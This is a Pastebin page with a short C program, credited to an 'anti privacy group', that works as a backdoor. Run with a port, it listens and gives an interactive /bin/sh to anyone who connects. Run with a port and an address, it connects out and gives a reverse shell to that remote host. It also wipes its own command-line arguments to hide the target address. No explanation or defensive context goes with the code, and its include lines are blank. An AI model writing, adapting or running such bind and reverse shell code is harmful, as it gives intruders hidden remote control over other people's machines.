Advertisement
Guest User

Untitled

a guest
Jul 24th, 2017
49
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.12 KB | None | 0 0
  1. /* recoded by anti privacy group */
  2. #include
  3. #include
  4. #include
  5. #include
  6. #include
  7. #include
  8. #include
  9. int main(int argc,char *argv[]){
  10. int s,c,o=1;
  11. struct sockaddr_in i;
  12. if(argc==2){
  13. i.sin_family=AF_INET;
  14. i.sin_port=htons(atoi(argv[1]));
  15. i.sin_addr.s_addr=htonl(INADDR_ANY);
  16. s=socket(AF_INET,SOCK_STREAM,0);
  17. setsockopt(s,SOL_SOCKET,SO_REUSEADDR,&o,sizeof(o));
  18. if(!s)exit(0);
  19. bind(s,(struct sockaddr *)&i,0x10);
  20. listen(s,5);
  21. c=accept(s,0,0);
  22. send(c,"aprivgcs shell : connected\n",24,0);
  23. dup2(c,0);
  24. dup2(c,1);
  25. dup2(c,2);
  26. system("export TERM=xterm;PS1='$PWD>';export PS1;exec /bin/sh -i");
  27. close(c);
  28. }
  29. else if(argc==3){
  30. i.sin_family=AF_INET;
  31. i.sin_port=htons(atoi(argv[1]));
  32. i.sin_addr.s_addr=inet_addr(argv[2]);
  33. bzero(argv[2],strlen(argv[2])+1+strlen(argv[1]));
  34. s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  35. if((connect(s,(struct sockaddr *)&i,sizeof(struct sockaddr)))<0)exit(0);
  36. send(s,"aprivgcs shell : connected\n",24,0);
  37. dup2(s,0);
  38. dup2(s,1);
  39. dup2(s,2);
  40. system("export TERM=xterm;PS1='$PWD>';export PS1;exec /bin/sh -i");
  41. close(s);
  42. }
  43. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement